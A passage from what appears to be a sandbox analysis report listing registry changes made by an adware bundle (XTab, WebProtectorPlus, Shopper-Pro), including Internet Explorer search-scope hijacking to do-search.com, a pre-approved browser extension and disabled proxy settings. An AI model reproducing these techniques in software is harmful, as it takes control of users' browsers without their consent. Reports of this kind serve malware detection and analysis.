"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 70 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1430385919"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "06 C8 B0 96 27 83 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1430385919"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "CF D0 4B 0F 4B 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 65 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process setup.exe:2380 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\¢"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process XTab_Setup2253.exe:3356 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = "1"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved]
"{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}" = ""

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.istartsurf.com/web/?type=ds&ts=1430385805&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"CheckedValue" = "PMIL"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"DefaultValue" = "PMIL"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process GLJ979E.tmp:928 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process WebProtectorPlus.exe:3164 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\WebProtectorPlus\Notify]
"iData" = "1430385793"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "2E 4D 1C 47 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "EA 42 19 4A 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process WebProtectorPlus.exe:4876 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C3 57 96 CD 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 69 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "E8 14 07 D1 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process WebProtectorPlus.exe:1388 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "4C 44 20 80 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 57 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "6B E0 57 83 27 83 D0 01"

Proxy settings are disabled:

